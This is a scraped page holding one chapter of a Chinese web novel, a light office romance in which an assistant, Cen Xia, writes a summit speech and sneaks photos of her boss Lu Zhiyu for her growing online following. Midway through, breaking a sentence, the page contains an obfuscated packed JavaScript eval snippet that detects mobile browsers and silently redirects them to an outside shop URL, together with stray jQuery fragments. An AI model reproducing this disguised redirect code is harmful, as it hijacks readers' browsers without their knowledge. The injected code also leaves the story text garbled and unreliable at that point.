默认冷灰
24号文字
方正启体

11. 尴尬 好消息:涨粉了。

作者:云水摇本书字数:K更新时间:
    岑夏上次这么紧张,还是高考那年忘带准考证的时候。


    “没看什么呀!”


    她这才意识到自己刚才的反应太大了,又手忙脚乱把手机拿回来,欲盖弥彰地补充:“手滑,没拿稳。”


    路知屿刚睡醒,素来清冷淡漠的眸子此刻蒙了一层极淡的水光。


    他狐疑地看着岑夏,一脸“你看我信不信”的表情。


    他刚才见一旁的岑夏正捧着手机笑得开心,便随口那么一问,也没指望能问出什么子丑寅卯来,也就没把这点小插曲放在心上。


    到达酒店的时候,已经傍晚。


    峰会的开场时间在明早八点半,今晚的行程便空了出来。


    岑夏还从未出过远门,这还是她第一次来到相隔一千公里以外的城市。


    简单休整后,岑夏从行李箱里翻出早早备好的碎花连衣裙、遮阳帽,哼着小曲,做了个美美的造型,在镜子前转了一圈,对自己满意地点了点头。


    不料,路知屿的电话却在这时候打进来:“写一份明早行业峰会的演讲稿,材料发你邮箱。”


    言简意赅、不容质疑,没等岑夏反应过来,电话便被无情掐断。


    出行计划未成行即夭折。


    岑夏泄气地躺在床上,将枕头盖在脸上,大叫了几声发泄愤懑,终是不得不爬起来,掏出了行李箱最里层的笔记本电脑。


    那份邮件果然正静悄悄地躺在她的工作邮箱里。


    她将文件下载,快速浏览一遍后,又过了一遍将精髓提炼出来,接着打开文档写稿。


    好在她本身就是语言类相关专业,写这些东西并不算陌生。


    最麻烦的核心构思部分材料已经给的很明确,岑夏只需要根据现有的信息构思出一篇十分钟左右的发言稿。


    夕阳沿着酒店房间的墙壁一点点游走,等岑夏在键盘上敲下最后一个标点的时候,外面已然黑透了。


    做完本职工作,岑夏掏出手机,就着目前排满密密麻麻文字的电脑界面拍了张照片。


    她原本想发张朋友圈,拿起手机的那刻忽的改了主意,打开了Muse。


    然后,杏眼瞪得溜圆。


    距离她上一次点开软件不过才几小时时间,她的粉丝量居然涨了几百人。


    而访问量最多的,竟是那条有着路知屿半身照的作品评论区,下面早已盖起数不清的楼。


    岑夏欲哭无泪。


    好消息:涨粉了。


    坏消息:不是奔着她来的。


    “人怎么能肤浅成这样呢?”


    岑夏不敢相信,区区一张半身照,竟抵过了她这许多天的血泪控诉。


    她不信邪,将刚才拍的加班照片打码处理后编辑了一条新作品。


    发送。


    做完这些,她将手机放在胸口,仰面躺倒在床上,微闭着眼,等待命运的裁决。


    不消片刻,新消息纷至沓来。


    岑夏心头一喜。


    看吧,大众的眼睛还是雪亮的。


    就算没有路知屿,她的流量依旧扛打。


    她弯着唇,打开手机点进去。


    评论快速刷新,岑夏的笑也僵在了脸上:


    ——加班?道德在哪里?底线在哪里?帅哥又在哪里?


    ——好了,知道你命苦,但能比得上看不到帅哥的我苦吗?


    ——谁要看这破文档,我要看帅哥!


    ——姐妹,如果半小时内没有帅哥的动态,你将会失去一位辽城粉丝。


    ——苏城+1


    ——曼城+1


    ……


    眼瞧着事态朝着不可控的方向迅速狂奔,岑夏眼皮直跳。


    手机震动不停,忽的,一个电话切进来,所有的动静在下一刻都安静下来。


    看到路知屿的号码,岑夏忙点了接通。


    “岑夏,发言稿。”


    路知屿活像催债的黄世仁。


    岑夏刚要答应,脑子一转,话在口中转了个弯:“路总,这资料有些地方我看不太懂,能不能请教您一下?”


    路知屿顿住,像是对她这话存疑,片刻后才淡声答:“过来吧!”


    岑夏“噌”地自床上跃起,抱着笔记本出了门。


    路知屿的房间和岑夏的紧挨着,内里确是天差地别。


    跟岑夏的大床房不同,路知屿的房间是个带小型会客厅的商务套房。


    此时,路知屿正坐在会客厅的皮质沙发里,手上翻阅着一本杂志。


    岑夏站在房门口,看向路知屿,有些发愣。


    她见惯了他一副黑色商务风的打扮,就算是下班时间,也是稍微休闲款的衬衣,而此时的路知屿穿一件纯白T恤,搭配米色家居裤,正慵懒地倚在沙发里。


    他的头发半干,显然刚洗过澡,正软趴趴地搭在额头。


    浅色休闲风中和了他身上的凌厉,让他整个人看起来都有些暖融融起来。


    “杵在那里做什么?”


    路知屿掀眼看她,见她整个人都有些呆呆的。


    岑夏回过神,摇了摇头,将脑子里奇怪的联想驱逐掉,抱着电脑在路知屿身旁不远处坐下。


    “哪里不明白?”


    路知屿朝她凑近些,视线落在她手里的电脑屏幕上。


    路知屿一靠近,身上洗发水的味道就强势占据了岑夏的感官。


    她本就心虚,加上他强烈存在感的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372269|199973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冲击,大脑有些宕机,于是随便指了个地方:“这里,没太懂什么意思……”


    路知屿看向她手指的地方,顿了片刻,拧眉。


    视线又转回岑夏脸上:“岑夏。”


    突然被他这么近距离的连名带姓地叫,岑夏心慌得要命,有种阎王点卯的感觉:“怎……怎么了?”


    忽的,岑夏头上挨了一记爆栗:


    “你是出门太急,把脑子落家里了吗?”


    岑夏猛地转头,盯着路知屿。


    不对,这很不对。


    路知屿在公司,虽然脸臭了些、谱大了些,但他有一个优点,话少啊!能一个字解决的,绝不多说第二个字。


    岑夏在心里默默掰着手指头算,不知道从什么时候开始,高冷如路知屿,也会频繁地嘴毒她了?


    这难道就是她觊觎那两万块的报应吗?


    岑夏心里百爪挠心,面上却不得不做虚心向学的样子。


    “懂了吗?”


    路知屿讲完,抬眸,警告意味明显,似乎只要她胆敢说一个不字,他就立刻用眼刀将她凌迟处死。


    岑夏点头如啄米:“明白了明白了,”心里揣着小九九,她说话极其敷衍,“路总真是博学多才。”


    今晚的岑夏温顺得有些过分,路知屿奇怪地打量她几眼,到底没说什么,又挪回自己原来的位置,继续看那本翻了一半的杂志。


    岑夏装模作样地打开文档,在空白页面敲敲打打几个字,眼睛的余光却始终注视着路知屿的动向。


    在路知屿调换了坐着的姿势,身体偏向背离岑夏的那一边时,岑夏一边在心里唾弃着自己的行为,一边调出了手机相机,对准路知屿的方向。


    快门还没来得及按下,路知屿却像是后脑门长了眼睛一样,突兀地转回头:


    “你在做什么?”


    岑夏呼吸一紧。


    人在紧张时总会忙乱得很。


    岑夏对着手机镜头,做作地捋了捋垂在耳侧的长发,说出的话连自己都不太有勇气听:“没什么,就是觉得今天的自己过分美丽。”


    路知屿瞳孔微微颤动,怀疑自己听到了什么。


    反应过来的岑夏恨不得咬断自己的舌头,却只能硬着头皮说下去:“所以美丽的我需要先回去了,路总,改好的演讲稿待会儿就发您!”


    言罢,也不管路知屿什么反应,抱着笔记本“噔噔噔”地溜了。


    路知屿依旧保持着原来的姿势,直到那道碎花裙的身影略显狼狈地消失在门口,他才稍稍回过神。


    然后,不多时,隔壁传来两声“啊”的咆哮,继而又戛然而止。


    路知屿摇头,片刻后,“噗”地笑出声。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)